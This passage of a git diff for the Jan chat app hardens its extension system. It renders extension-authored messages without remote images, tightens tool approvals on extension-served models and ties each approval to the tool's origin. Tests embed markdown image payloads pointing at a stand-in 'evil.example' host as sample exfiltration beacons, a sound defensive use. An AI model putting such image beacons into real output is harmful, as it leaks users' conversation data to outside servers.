+ const author =
+ continueContent?.extensionAuthor ?? provider.source?.extensionId
+ const stepMetadata = createStepMetadata(
+ author ? extensionAuthorMetadata(author) : undefined
+ )
const uiStream = result.toUIMessageStream({
// Usage and token speed, assembled by the one implementation every
diff --git a/web-app/src/lib/extensions/__tests__/conversations.test.ts b/web-app/src/lib/extensions/__tests__/conversations.test.ts
index af052e97b..a5fdf5c2e 100644
--- a/web-app/src/lib/extensions/__tests__/conversations.test.ts
+++ b/web-app/src/lib/extensions/__tests__/conversations.test.ts
@@ -5,6 +5,7 @@ import { DefaultMessagesService } from '@/services/messages/default'
import { DefaultThreadsService } from '@/services/threads/default'
import { createConversationsApi } from '../conversations'
import { createContext } from '../context'
+import { createHostApi } from '../host-api'
import { ContributionStore } from '../contributions'
import { PermissionDispatcher } from '../dispatcher'
import { ExtensionSettingsStore } from '../settings-store'
@@ -183,6 +184,62 @@ describe('createConversationsApi', () => {
).rejects.toMatchObject({ code: 'E_NOT_FOUND' })
})
+ it('stamps a message with the extension that appended it', async () => {
+ const { conversations } = setup()
+ await conversations.appendMessage(
+ 't1',
+ { role: 'assistant', text: '![](https://evil.example/p)' },
+ 'acme.writer'
+ )
+ expect(api.createMessage).toHaveBeenCalledWith({
+ message: expect.objectContaining({
+ metadata: { extensionAuthor: 'acme.writer' },
+ }),
+ })
+ })
+
+ it('stamps what a worker extension appends, and not what a built-in does', async () => {
+ const { conversations } = setup()
+ const append = vi.spyOn(conversations, 'appendMessage')
+ const deps = (m: ReturnType<typeof manifest>) => {
+ const dispatcher = new PermissionDispatcher()
+ dispatcher.grant(m.id, m.permissions)
+ return {
+ dispatcher,
+ contributions: new ContributionStore(),
+ settings: new ExtensionSettingsStore({
+ appSettings: memoryAppSettings(),
+ secrets: memorySecrets(),
+ }),
+ storage: memoryAppSettings(),
+ notify: vi.fn(),
+ conversations,
+ }
+ }
+ const msg = { role: 'assistant' as const, text: 'hi' }
+
+ const worker = manifest('acme.writer', {
+ permissions: ['conversations:write'],
+ })
+ const d = deps(worker)
+ await d.dispatcher.dispatch(
+ worker,
+ createHostApi(worker, d),
+ 'conversations.appendMessage',
+ ['t1', msg]
+ )
+ expect(append).toHaveBeenLastCalledWith('t1', msg, 'acme.writer')
+
+ const builtin = manifest('jan.writer', {
+ permissions: ['conversations:write'],
+ })
+ await createContext(builtin, deps(builtin)).conversations.appendMessage(
+ 't1',
+ msg
+ )
+ expect(append).toHaveBeenLastCalledWith('t1', msg, undefined)
+ })
+
it('fires onDidCreateMessage once per created message, whoever created it', async () => {
const { conversations, messages } = setup()
const listener = vi.fn()
diff --git a/web-app/src/lib/extensions/__tests__/tools.test.ts b/web-app/src/lib/extensions/__tests__/tools.test.ts
index a8256b0f7..0cf9822ad 100644
--- a/web-app/src/lib/extensions/__tests__/tools.test.ts
+++ b/web-app/src/lib/extensions/__tests__/tools.test.ts
@@ -1,7 +1,12 @@
import { createHash } from 'node:crypto'
import { describe, expect, it } from 'vitest'
import type { ContributionState } from '../contributions'
-import { listExtensionTools, toToolOutcome, toolWireName } from '../tools'
+import {
+ isExtensionToolName,
+ listExtensionTools,
+ toToolOutcome,
+ toolWireName,
+} from '../tools'
const tool = (name: string, bound = true) => ({
name,
@@ -108,3 +113,12 @@ describe('toToolOutcome', () => {
expect(toToolOutcome(undefined)).toMatchObject({ error: expect.any(String) })
})
})
+
+describe('isExtensionToolName', () => {
+ it('recognises a wire name whether or not the tool is loaded', () => {
+ expect(isExtensionToolName(toolWireName('acme.one', 'search'))).toBe(true)
+ expect(isExtensionToolName('web_search')).toBe(false)
+ expect(isExtensionToolName('x_search')).toBe(false)
+ expect(isExtensionToolName('x_0123__search')).toBe(false)
+ })
+})
diff --git a/web-app/src/lib/extensions/authorship.ts b/web-app/src/lib/extensions/authorship.ts
new file mode 100644
index 000000000..f12a93948
--- /dev/null
+++ b/web-app/src/lib/extensions/authorship.ts
@@ -0,0 +1,23 @@
+/**
+ * The message metadata key naming the third-party extension that wrote a
+ * message: one appended through `ctx.conversations.appendMessage`, or a
+ * reply streamed by a provider the extension contributed. Such a message is
+ * rendered without remote images or favicons: the app's img-src allows any
+ * https host, so an image would let the extension reach a host it holds no
+ * `network:` grant for. Built-ins never stamp it.
+ */
+export const EXTENSION_AUTHOR_KEY = 'extensionAuthor'
+
+export type ExtensionAuthorMetadata = { [EXTENSION_AUTHOR_KEY]: string }
+
+/** The extension id a message's metadata names as its author, if any. */
+export function extensionAuthorOf(metadata: unknown): string | undefined {
+ if (!metadata || typeof metadata !== 'object') return undefined
+ const author = (metadata as Record<string, unknown>)[EXTENSION_AUTHOR_KEY]
+ return typeof author === 'string' && author !== '' ? author : undefined
+}
+
+/** The stamp for a message written by `extensionId`. */
+export const extensionAuthorMetadata = (
+ extensionId: string
+): ExtensionAuthorMetadata => ({ [EXTENSION_AUTHOR_KEY]: extensionId })
diff --git a/web-app/src/lib/extensions/conversations.ts b/web-app/src/lib/extensions/conversations.ts
index c097d95c0..edacf6d7e 100644
--- a/web-app/src/lib/extensions/conversations.ts
+++ b/web-app/src/lib/extensions/conversations.ts
@@ -13,9 +13,23 @@ import {
import { ulid } from 'ulidx'
import { TEMPORARY_CHAT_ID } from '@/constants/chat'
import type { ServiceHub } from '@/services'
+import { extensionAuthorMetadata } from './authorship'
type ConversationServices = Pick<ServiceHub, 'threads' | 'messages'>
+/**
+ * The host side of `ctx.conversations`. `appendMessage` also takes the id of
+ * the worker extension that called it, stamped on the message so it renders
+ * without remote images (see `authorship.ts`); undefined for a built-in.
+ */
+export interface HostConversations extends ConversationsApi {
+ appendMessage(
+ threadId: string,
+ msg: Parameters<ConversationsApi['appendMessage']>[1],
+ author?: string
+ ): ReturnType<ConversationsApi['appendMessage']>
+}
+
// Stored timestamps mix seconds and milliseconds (older threads and messages
// were written in ms); the public DTOs are always epoch milliseconds.
const toMillis = (t: number | undefined): number => {
@@ -54,7 +68,7 @@ const notFound = (threadId: string) =>
*/
export function createConversationsApi(
hub: () => ConversationServices
-): ConversationsApi {
+): HostConversations {
const findThread = async (id: string) => {
if (id === TEMPORARY_CHAT_ID) return undefined
const threads = await hub().threads().fetchThreads()
@@ -110,7 +124,7 @@ export function createConversationsApi(
return toThreadInfo(created)
},
- appendMessage: async (threadId, { role, text }) => {
+ appendMessage: async (threadId, { role, text }, author) => {
if (!(await findThread(threadId))) throw notFound(threadId)
const now = Date.now()
const message: ThreadMessage = {
@@ -124,6 +138,7 @@ export function createConversationsApi(
status: MessageStatus.Ready,
created_at: now,
completed_at: now,
+ ...(author ? { metadata: extensionAuthorMetadata(author) } : {}),
}
return toMessageInfo(await hub().messages().createMessage(message))
},
diff --git a/web-app/src/lib/extensions/host-api.ts b/web-app/src/lib/extensions/host-api.ts
index 9d6034cc8..0c75a583c 100644
--- a/web-app/src/lib/extensions/host-api.ts
+++ b/web-app/src/lib/extensions/host-api.ts
@@ -2,7 +2,6 @@ import {
ExtensionError,
toDisposable,
type CommandContext,
- type ConversationsApi,
type HttpRequestInit,
type HttpResponse,
type Logger,
@@ -18,6 +17,7 @@ import {
} from '@janhq/extension-runtime'
import type { HttpResponse as PluginHttpResponse } from '@janhq/tauri-plugin-extensions-api'
import { own, type ContributionStore } from './contributions'
+import type { HostConversations } from './conversations'
import type { PermissionDispatcher } from './dispatcher'
import {
fetchHop,
@@ -46,7 +46,7 @@ export interface HostApiDeps {
settings: ExtensionSettingsStore
storage: AppSettingsBackend
notify: Notify
- conversations?: ConversationsApi
+ conversations?: HostConversations
/**
* The network path of `ctx.http.fetch`. Only installed extensions get
* one: the plugin checks their grants in extensions.json, where neither
@@ -124,6 +124,11 @@ function logText(value: unknown): string {
* listeners or run many requests (see `createHostApi`).
*/
export interface HostApiLimits {
+ /**
+ * Whether this is a built-in. A worker's appended messages are stamped
+ * with its id, so they render without remote images (`authorship.ts`).
+ */
+ builtin: boolean
/** Notifications: a burst of 5, then one every 2 s. */
notifyRate: boolean
/** MAX_SUBSCRIPTIONS_PER_EVENT listeners per event. */
@@ -133,12 +138,14 @@ export interface HostApiLimits {
}
export const WORKER_LIMITS: HostApiLimits = {
+ builtin: false,
notifyRate: true,
subscriptions: true,
fetchConcurrency: true,
}
export const BUILTIN_LIMITS: HostApiLimits = {
+ builtin: true,
notifyRate: false,
subscriptions: false,
fetchConcurrency: false,
@@ -275,7 +282,7 @@ export function createHostApi(
subscription.dispose()
})
}
- const conversations = (): ConversationsApi => {
+ const conversations = (): HostConversations => {
if (!deps.conversations) throw notProvided('Conversations')
return deps.conversations
}
@@ -339,7 +346,11 @@ export function createHostApi(
'conversations.createThread': (_call, input) =>
conversations().createThread(input),
'conversations.appendMessage': (_call, threadId, msg) =>
- conversations().appendMessage(threadId, msg),
+ conversations().appendMessage(
+ threadId,
+ msg,
+ limits.builtin ? undefined : id
+ ),
'tools.register': (_call, name, handler) =>
contributions.registerTool(id, name, handler),
'providers.register': (_call, providerId, handlers) => {
diff --git a/web-app/src/lib/extensions/host.ts b/web-app/src/lib/extensions/host.ts
index 5ee9bf0b9..4f4d482c7 100644
--- a/web-app/src/lib/extensions/host.ts
+++ b/web-app/src/lib/extensions/host.ts
@@ -7,7 +7,6 @@ import {
isModelCapability,
RESERVED_PUBLISHER,
toDisposable,
- type ConversationsApi,
type Event,
type ExtensionContext,
type ExtensionModule,
@@ -36,7 +35,10 @@ import { loopbackFetch } from '@/lib/loopback-fetch'
import * as extensionsPlugin from '@janhq/tauri-plugin-extensions-api'
import type { BuiltinExtension } from './builtins'
import { createContext } from './context'
-import { createConversationsApi } from './conversations'
+import {
+ createConversationsApi,
+ type HostConversations,
+} from './conversations'
import { ContributionStore, own, useContributions } from './contributions'
import { PermissionDispatcher } from './dispatcher'
import { createHostApi, type Notify } from './host-api'
@@ -110,7 +112,7 @@ export interface ExtensionHostOptions {
notify: Notify
/** Defaults to a private store; the app passes `useContributions`. */
contributions?: ContributionStore
- conversations?: ConversationsApi
+ conversations?: HostConversations
/** The network path of installed extensions; absent means none. */
http?: ExtensionHttp
/** The registry installed extensions are loaded and reloaded from. */
diff --git a/web-app/src/lib/extensions/remoteImages.ts b/web-app/src/lib/extensions/remoteImages.ts
new file mode 100644
index 000000000..155268612
--- /dev/null
+++ b/web-app/src/lib/extensions/remoteImages.ts
@@ -0,0 +1,24 @@
+import { createContext, createElement, useContext, type ReactNode } from 'react'
+
+/**
+ * Whether the message being rendered may load remote images and favicons.
+ * `MessageItem` turns it off for a message an extension authored (see
+ * `authorship.ts`), and every widget under it that would fetch an image by
+ * URL (citation favicons, the web tool's address bar) reads it. A context,
+ * not a prop: those widgets sit several components deep in the tool trace.
+ */
+export const RemoteImagesContext = createContext(true)
+
+export const useRemoteImagesAllowed = (): boolean =>
+ useContext(RemoteImagesContext)
+
+/**
+ * `node` with remote images allowed or not below it. A function, so a
+ * component's existing JSX tree does not have to be re-indented into a
+ * provider.
+ */
+export const withRemoteImages = (
+ allowed: boolean,
+ node: ReactNode
+): ReactNode =>
+ createElement(RemoteImagesContext.Provider, { value: allowed }, node)
diff --git a/web-app/src/lib/extensions/tools.ts b/web-app/src/lib/extensions/tools.ts
index 7460826bb..623eca33f 100644
--- a/web-app/src/lib/extensions/tools.ts
+++ b/web-app/src/lib/extensions/tools.ts
@@ -58,6 +58,17 @@ export function toolWireName(extensionId: string, name: string): string {
return wireName
}
+const WIRE_NAME_PATTERN = new RegExp(`^x_[0-9a-f]{${HASH_HEX_DIGITS}}__`)
+
+/**
+ * Whether `toolName` has the shape of a `toolWireName`, whether or not the
+ * tool is still loaded: a stored call outlives its extension, and its output
+ * is still that extension's text. An MCP tool that happens to share the
+ * shape is only treated as more untrusted, never less.
+ */
+export const isExtensionToolName = (toolName: string): boolean =>
+ WIRE_NAME_PATTERN.test(toolName)
+
/**
* Every contributed tool with a bound handler, in a stable order (the tool
* list is part of the prompt prefix, so it must not reshuffle). Should two
diff --git a/web-app/src/lib/stepMetadata.ts b/web-app/src/lib/stepMetadata.ts
index b1ec368d1..f941edb56 100644
--- a/web-app/src/lib/stepMetadata.ts
+++ b/web-app/src/lib/stepMetadata.ts
@@ -1,4 +1,5 @@
import type { LanguageModelUsage } from 'ai'
+import type { ExtensionAuthorMetadata } from '@/lib/extensions/authorship'
/** The speed block the transcript's token-speed popover reads. */
export type TokenSpeedMeta = {
@@ -9,7 +10,7 @@ export type TokenSpeedMeta = {
}
/** What a finished step leaves on its message, as `MessageItem` reads it. */
-export type StepMetadata = {
+export type StepMetadata = Partial<ExtensionAuthorMetadata> & {
finishReason?: string
usage: {
inputTokens?: number
@@ -31,16 +32,25 @@ const round2 = (n: number) => Math.round(n * 100) / 100
/**
* Shared chat/subagent finish metadata. Prefer engine timings; otherwise measure
* from the first content part to exclude prompt processing.
+ *
+ * `stamp` is merged onto the message from its `start` part on, so the message
+ * carries it before any content renders (an extension provider's reply is
+ * rendered without remote images; see `extensions/authorship.ts`), and again
+ * at the finish, which is what gets persisted.
*/
-export function createStepMetadata() {
+export function createStepMetadata(stamp?: ExtensionAuthorMetadata) {
let startedAt: number | undefined
let tokensPerSecond = 0
let promptPerSecond = 0
return {
- /** Feed the parts the AI SDK hands `messageMetadata`; returns the metadata
- * once the step finishes, and `undefined` for every other part. */
- onPart(part: StreamPart): StepMetadata | undefined {
+ /** Feed the parts the AI SDK hands `messageMetadata`; returns the stamp
+ * on the start part, the metadata once the step finishes, and `undefined`
+ * for every other part. */
+ onPart(
+ part: StreamPart
+ ): StepMetadata | ExtensionAuthorMetadata | undefined {
+ if (part.type === 'start') return stamp
const startsContent =
part.type === 'text-start' || part.type === 'reasoning-start'
if (startedAt === undefined && startsContent) startedAt = Date.now()
@@ -72,6 +82,7 @@ export function createStepMetadata() {
}
return {
+ ...stamp,
finishReason: part.finishReason as string | undefined,
usage: {
inputTokens,
diff --git a/web-app/src/locales/en/common.json b/web-app/src/locales/en/common.json
index bff76e7bb..1a9dd3a53 100644
--- a/web-app/src/locales/en/common.json
+++ b/web-app/src/locales/en/common.json
@@ -780,6 +780,7 @@
"tryAgain": "Try again"
},
"modelNoTools": "{{model}} can’t call tools, so it can’t act as an agent. Pick a tool-calling model.",
+ "coworkExtensionProvider": "Cowork cannot run on a provider added by an extension. Pick another model, or use it in a chat.",
"askContinue": "Continue",
"askNext": "Next question",
"askPageOf": "{{current}} of {{total}}",
diff --git a/web-app/src/locales/en/extensions.json b/web-app/src/locales/en/extensions.json
index b43bf7080..40dddb9ad 100644
--- a/web-app/src/locales/en/extensions.json
+++ b/web-app/src/locales/en/extensions.json
@@ -53,7 +53,7 @@
},
"providers": {
"title": "Add model providers",
- "description": "Add model providers that appear in the model picker."
+ "description": "Add model providers that appear in the model picker. Replies are shown without web images, so they cannot make Jan contact other servers."
},
"tools": {
"title": "Add tools for models",
@@ -65,7 +65,7 @@
},
"conversationsWrite": {
"title": "Change your conversations",
- "description": "Create threads and add messages to them."
+ "description": "Create threads and add messages to them. Messages it adds are shown without web images, so they cannot make Jan contact other servers."
},
"chatHooks": {
"title": "Change messages before they are sent",
diff --git a/web-app/src/locales/en/mcp-servers.json b/web-app/src/locales/en/mcp-servers.json
index 547a7266a..37af8bc0f 100644
--- a/web-app/src/locales/en/mcp-servers.json
+++ b/web-app/src/locales/en/mcp-servers.json
@@ -38,6 +38,7 @@
"errorPaste": "Invalid JSON format in pasted content",
"errorFormat": "Invalid JSON format",
"errorServerName": "Server name is required and cannot be empty",
+ "errorReservedServerName": "Server names starting with \"ext:\" are reserved for extensions.",
"errorMissingServerNameKey": "JSON must be structured as {\"serverName\": {config}} - missing server name key",
"errorInvalidType": "Invalid type '{{type}}' for server '{{serverName}}'. Type must be 'stdio', 'http', or 'sse'",
"save": "Save"
diff --git a/web-app/src/routes/cowork.tsx b/web-app/src/routes/cowork.tsx
index d37cbf181..29915458a 100644
--- a/web-app/src/routes/cowork.tsx
+++ b/web-app/src/routes/cowork.tsx
@@ -53,7 +53,12 @@ import {
userTurn,
} from '@/lib/coworkTurns'
import { extractFilesFromPrompt } from '@/lib/fileMetadata'
-import { coworkLocalModel, coworkModelContext, recoverCoworkContext } from '@/lib/coworkModelControls'
+import {
+ coworkAllowsProvider,
+ coworkLocalModel,
+ coworkModelContext,
+ recoverCoworkContext,
+} from '@/lib/coworkModelControls'
import { isContextOverflowMessage } from '@/utils/error'
import { importAttachedFiles, withAttachedFiles } from '@/lib/coworkAttachments'
import { useToolCallRuntime, withToolTiming } from '@/hooks/useToolCallRuntime'
@@ -463,15 +468,20 @@ function CoworkPage() {
}
: undefined)
const selectedProvider = modelChoice?.provider ?? ''
- const selectedModel = modelState.providers
- .find(
- (provider) => provider.provider === selectedProvider && provider.active
- )
- ?.models.find((model) => model.id === modelChoice?.id)
+ const runProvider = modelState.providers.find(
+ (provider) => provider.provider === selectedProvider && provider.active
+ )
+ const selectedModel = runProvider?.models.find(
+ (model) => model.id === modelChoice?.id
+ )
if (!selectedModel?.id) {
toast.error(t('common:selectModel'))
return
}
+ if (!coworkAllowsProvider(runProvider)) {
+ toast.error(t('common:coworkExtensionProvider'))
+ return
+ }
// Without tool calling the transport drops the tool set silently, and the
// agent then narrates work it never did. Refusing up front is honest; a
// toolless "agent" run is worse than no run.
diff --git a/web-app/src/routes/settings/__tests__/extensions.test.tsx b/web-app/src/routes/settings/__tests__/extensions.test.tsx
index ba9efcd77..eb205fb29 100644
--- a/web-app/src/routes/settings/__tests__/extensions.test.tsx
+++ b/web-app/src/routes/settings/__tests__/extensions.test.tsx
@@ -29,12 +29,6 @@ vi.mock('@/containers/Card', () => ({
),
}))
-vi.mock('@/containers/RenderMarkdown', () => ({
- RenderMarkdown: ({ children }: { children: React.ReactNode }) => (
- <div data-testid="render-markdown">{children}</div>
- ),
-}))
-
const hosted = vi.hoisted(() => ({
list: [] as Array<Record<string, unknown>>,
}))
@@ -112,6 +106,28 @@ describe('Extensions Settings Route', () => {
expect(screen.queryByTestId('settings-form-acme.off')).toBeNull()
})
+ it('shows a manifest description as plain text, never as markdown', () => {
+ const description = 'Hi ![x](https://evil.example/p?d=1) **bold**'
+ hosted.list = [
+ {
+ id: 'acme.one',
+ manifest: {
+ id: 'acme.one',
+ displayName: 'One',
+ version: '0.1.0',
+ description,
+ },
+ source: 'dev',
+ state: 'active',
+ },
+ ]
+ const Component = ExtensionsRoute.component as React.ComponentType
+ const { container } = render(<Component />)
+
+ expect(screen.getByText(description)).toBeInTheDocument()
+ expect(container.querySelector('img')).toBeNull()
+ })
+
it('should render the extensions settings page', () => {
const Component = ExtensionsRoute.component as React.ComponentType
render(<Component />)
diff --git a/web-app/src/routes/threads/$threadId.tsx b/web-app/src/routes/threads/$threadId.tsx
index 156ffe091..c8b2a6f72 100644
--- a/web-app/src/routes/threads/$threadId.tsx
+++ b/web-app/src/routes/threads/$threadId.tsx
@@ -98,12 +98,16 @@ import {
import { Button } from '@/components/ui/button'
import { IconAlertCircle, IconRefresh, IconLoader2 } from '@tabler/icons-react'
import { useToolApproval } from '@/hooks/useToolApproval'
-import { useToolApprovalRequests } from '@/hooks/useToolApprovalRequests'
+import {
+ useToolApprovalRequests,
+ type ApprovalOptions,
+} from '@/hooks/useToolApprovalRequests'
import { useToolCallRuntime } from '@/hooks/useToolCallRuntime'
import { webToolRoute, executeWebTool } from '@/lib/webSearchTool'
import { useWebSearchConfig } from '@/hooks/useWebSearchConfig'
import { CHAT_AGENT_TOOL_NAMES, executeAgentTool } from '@/lib/agentTools'
import { getExtensionHost } from '@/lib/extensions/host'
+import { extensionAuthorOf } from '@/lib/extensions/authorship'
import DropdownModelProvider from '@/containers/DropdownModelProvider'
import { ServiceKeys } from '@janhq/core'
import { Shimmer } from '@/components/ai-elements/shimmer'
@@ -170,14 +174,20 @@ const launchedCtxLens = new Map<string, number | undefined>()
const titleAborts = new Map<string, AbortController>()
// The text and reasoning a reply generated so far: what a resume replays as
-// the assistant prefill, so a thinking model keeps its reasoning.
+// the assistant prefill, so a thinking model keeps its reasoning. Its author
+// rides along: the resumed reply replaces this one and keeps rendering
+// without remote images if an extension wrote it.
const partialOf = (message: UIMessage) => {
const collect = (type: 'text' | 'reasoning') =>
message.parts
.filter((p) => p.type === type)
.map((p) => (p as { text: string }).text)
.join('')
- return { text: collect('text'), reasoning: collect('reasoning') }
+ return {
+ text: collect('text'),
+ reasoning: collect('reasoning'),
+ extensionAuthor: extensionAuthorOf(message.metadata),
+ }
}
const takeFrom = <V,>(map: Map<string, V>, threadId: string) => {
@@ -220,8 +230,10 @@ useChatSessions.subscribe((state) => {
// message and the AI SDK's auto-resubmit (sendAutomaticallyWhen) fires. A
// component ref would be shared by every thread (the route is reused across
// thread switches), so one thread finishing or being left would drop another
-// thread's pending approvals and prompt the user again.
-const toolApprovalPromises = new Map<string, Map<string, Promise<boolean>>>()
+// thread's pending approvals and prompt the user again. The origin the call was
+// asked under travels with it, so execution runs what was approved.
+type PendingApproval = { approved: Promise<boolean>; origin: ToolOrigin }
+const toolApprovalPromises = new Map<string, Map<string, PendingApproval>>()
const approvalsOf = (threadId: string) => {
let approvals = toolApprovalPromises.get(threadId)
if (!approvals) {
@@ -277,14 +289,34 @@ function rewriteStoredTurn(
})
}
-// The MCP server a tool belongs to, so an approval prompt can offer to trust
-// the whole server rather than this one tool.
-function serverForTool(toolName: string): string | undefined {
- const state = useAppState.getState()
- return (
- state.tools.find((tool) => tool.name === toolName)?.server ??
- extensionToolOf(toolName)?.server
- )
+// Recorded for an approved call whose tool came to be served by someone else
+// (an extension loaded or unloaded) while it waited: the grant was for the other.
+const ORIGIN_CHANGED_TOOL_ERROR =
+ 'Tool call refused: the tool changed while it was waiting for approval.'
+
+// Who serves a call and under which server, so an approval prompt can offer
+// to trust the whole server. Resolved once when the call arrives and carried
+// to the approval, the running timer and execution, so a grant keyed as MCP
+// never runs a contributed tool of the same name. A name both claim is the
+// extension's.
+type ToolOrigin = ReturnType<typeof toolOriginOf>
+function toolOriginOf(toolName: string) {
+ const extensionTool = extensionToolOf(toolName)
+ if (extensionTool) {
+ return {
+ origin: 'extension' as const,
+ server: extensionTool.server,
+ extensionTool,
+ }
+ }
+ const mcpTool = useAppState
+ .getState()
+ .tools.find((tool) => tool.name === toolName)
+ return {
+ origin: 'mcp' as const,
+ server: mcpTool?.server,
+ extensionTool: undefined,
+ }
}
// The contributed tool a call names, by its wire name. Read per call, so a
@@ -339,15 +371,36 @@ function webRoute(toolName: string): 'builtin' | 'disabled' | 'other' {
// Internal tools never prompt: RAG and the native web tools are Jan's own, and
// the built-in shell is gated in Rust (execute_tool refuses anything needing
-// approval), so only workspace-confined calls ever reach here.
-function isAutoAllowedTool(toolName: string): boolean {
+// approval), so only workspace-confined calls ever reach here. The web tools
+// do prompt on a turn an extension's provider serves: there the model is the
+// extension's, and a free `web_fetch` would reach any host its network grants
+// leave out.
+function isAutoAllowedTool(toolName: string, threadId: string): boolean {
return (
useAppState.getState().ragToolNames.has(toolName) ||
- webRoute(toolName) === 'builtin' ||
+ (webRoute(toolName) === 'builtin' && !turnOnExtensionProvider(threadId)) ||
chatShellRoute(toolName) === 'builtin'
)
}
+// Every call the model an extension serves makes is asked for on its own:
+// neither "allow all MCP" nor a grant given on another turn covers it.
+function approvalOptions(
+ threadId: string,
+ origin: ToolOrigin['origin']
+): ApprovalOptions {
+ return turnOnExtensionProvider(threadId)
+ ? { strict: true, origin }
+ : { origin }
+}
+
+function turnOnExtensionProvider(threadId: string): boolean {
+ const providerName = turnModelOf(threadId).selectedProvider
+ return Boolean(
+ useModelProvider.getState().getProviderByName(providerName)?.source
+ )
+}
+
// Persist the out-of-context error onto the latest user message so the banner
// survives thread switches, mirroring how LlamacppOomListener stamps oom/backend.
function stampContextErrorOnThread(
@@ -856,16 +909,19 @@ function ThreadDetail() {
continue
}
- const approved = isAutoAllowedTool(toolName)
+ const pending = approvalsOf(threadId).get(toolCall.toolCallId)
+ const origin = pending?.origin ?? toolOriginOf(toolName)
+ const approved = isAutoAllowedTool(toolName, threadId)
? true
- : await (approvalsOf(threadId).get(toolCall.toolCallId) ??
+ : await (pending?.approved ??
useToolApprovalRequests
.getState()
.requestApproval(
toolCall.toolCallId,
toolName,
threadId,
- serverForTool(toolName)
+ origin.server,
+ approvalOptions(threadId, origin.origin)
))
approvalsOf(threadId).delete(toolCall.toolCallId)
// Only an explicit Stop skips the result. Deleting the thread also
@@ -887,11 +943,23 @@ function ThreadDetail() {
continue
}
+ // Re-resolved only to compare: running either tool now would act
+ // on a grant given for the other.
+ if (toolOriginOf(toolName).origin !== origin.origin) {
+ record({
+ state: 'output-error',
+ tool: toolCall.toolName,
+ toolCallId: toolCall.toolCallId,
+ errorText: ORIGIN_CHANGED_TOOL_ERROR,
+ })
+ continue
+ }
+
// Timed from here, not from approval, so a long approval wait is
// not reported as the tool being slow.
useToolCallRuntime
.getState()
- .markRunning(toolCall.toolCallId, serverForTool(toolName))
+ .markRunning(toolCall.toolCallId, origin.server)
// A tool result is injected into conversation history verbatim, so a
// page-sized one can exhaust the context on its own. This is the
@@ -907,7 +975,7 @@ function ThreadDetail() {
// a hung MCP server) must not hold the loop, and the thread, busy.
const result = await untilAborted<ToolRunResult>(
(async () => {
- const extensionTool = extensionToolOf(toolName)
+ const { extensionTool } = origin
if (webRoute(toolName) === 'builtin') {
return await executeWebTool(toolName, toolCall.input, {
maxOutputChars,
@@ -1118,22 +1186,24 @@ function ThreadDetail() {
// never prompt (see isAutoAllowedTool).
sessionData.tools.push(toolCall)
if (
- !isAutoAllowedTool(toolCall.toolName) &&
+ !isAutoAllowedTool(toolCall.toolName, threadId) &&
!isDisabledChatAgentTool(toolCall.toolName) &&
webRoute(toolCall.toolName) !== 'disabled' &&
!approvalsOf(threadId).has(toolCall.toolCallId)
) {
- approvalsOf(threadId).set(
- toolCall.toolCallId,
- useToolApprovalRequests
+ const origin = toolOriginOf(toolCall.toolName)
+ approvalsOf(threadId).set(toolCall.toolCallId, {
+ approved: useToolApprovalRequests
.getState()
.requestApproval(
toolCall.toolCallId,
toolCall.toolName,
threadId,
- serverForTool(toolCall.toolName)
- )
- )
+ origin.server,
+ approvalOptions(threadId, origin.origin)
+ ),
+ origin,
+ })
}
},
sendAutomaticallyWhen: followUpMessage,
@@ -1972,9 +2042,9 @@ function ThreadDetail() {
(messageId: string) => {
const msg = chatMessages.find((m) => m.id === messageId)
if (!msg) return
- const { text, reasoning } = partialOf(msg)
- if (!text && !reasoning) return
- setContinueFromContent({ text, reasoning })
+ const partial = partialOf(msg)
+ if (!partial.text && !partial.reasoning) return
+ setContinueFromContent(partial)
continueReplaceIds.set(threadId, messageId)
handleRegenerate(messageId)
},
diff --git a/web-app/src/routes/threads/__tests__/$threadId.test.tsx b/web-app/src/routes/threads/__tests__/$threadId.test.tsx
index 716063719..594eca997 100644
--- a/web-app/src/routes/threads/__tests__/$threadId.test.tsx
+++ b/web-app/src/routes/threads/__tests__/$threadId.test.tsx
@@ -1669,6 +1669,31 @@ describe('ThreadDetail route', () => {
expect(h.toolApprovalState.requestApproval).not.toHaveBeenCalled()
})
+ // janhq/jan-internal#517: on an extension's provider the model is the
+ // extension's, so a free web_fetch would reach any host it has no grant for.
+ it('asks before serving the built-in on a turn an extension provider serves', async () => {
+ const byName = h.modelProviderState.getProviderByName
+ h.modelProviderState.getProviderByName = vi.fn((name: string) => ({
+ ...byName(name),
+ source: { extensionId: 'acme.provider', extensionName: 'Acme' },
+ }))
+ try {
+ await run(webCall('w4'))
+ // Strict: neither "allow all MCP" nor a grant from an ordinary turn
+ // may answer for the model an extension serves.
+ expect(h.toolApprovalState.requestApproval).toHaveBeenCalledWith(
+ 'w4',
+ 'web_search',
+ 'thread-1',
+ undefined,
+ { strict: true, origin: 'mcp' }
+ )
+ expect(webTool.executeWebTool).toHaveBeenCalledTimes(1)
+ } finally {
+ h.modelProviderState.getProviderByName = byName
+ }
+ })
+
it.each(['web_search', 'web_fetch'])(
'serves an MCP tool named %s through MCP, with a prompt, while web search is off',
async (name) => {
@@ -1730,7 +1755,8 @@ describe('ThreadDetail route', () => {
'tc1',
'fetch',
'thread-1',
- undefined
+ undefined,
+ { origin: 'mcp' }
)
})
@@ -1749,7 +1775,8 @@ describe('ThreadDetail route', () => {
'tc-server',
'fetch',
'thread-1',
- 'fetch-server'
+ 'fetch-server',
+ { origin: 'mcp' }
)
})
@@ -2827,7 +2854,8 @@ describe('ThreadDetail route', () => {
'te1',
wireName,
'thread-1',
- 'ext:acme.one'
+ 'ext:acme.one',
+ { origin: 'extension' }
)
expect(extensionHost.callTool).toHaveBeenCalledWith(
'acme.one',
@@ -2843,6 +2871,110 @@ describe('ThreadDetail route', () => {
)
})
+ // Approval must be asked of whatever actually runs, and execution
+ // prefers the contributed tool, so a name both claim is the extension's.
+ it('asks as the extension when an MCP tool has the same name, and runs it there', async () => {
+ h.appStateState.mcpToolNames = new Set([wireName])
+ h.appStateState.tools = [{ name: wireName, server: 'mcp-server' }]
+ const mcpCall = vi.fn().mockResolvedValue({ error: '', content: [] })
+ hub.mcp = () =>
+ ({ callToolWithCancellation: cancellable(mcpCall) }) as never
+ extensionHost.callTool.mockResolvedValue({
+ content: [{ type: 'text', text: 'HI' }],
+ })
+ renderComponent()
+ await act(async () => {
+ await (h as any).capturedOnToolCall(extToolCall('te4'))
+ })
+ await act(async () => {
+ await finishWithToolCalls()
+ })
+ expect(h.toolApprovalState.requestApproval).toHaveBeenCalledWith(
+ 'te4',
+ wireName,
+ 'thread-1',
+ 'ext:acme.one',
+ { origin: 'extension' }
+ )
+ expect(extensionHost.callTool).toHaveBeenCalledWith(
+ 'acme.one',
+ 'echo',
+ { text: 'hi' },
+ expect.objectContaining({ signal: expect.any(AbortSignal) })
+ )
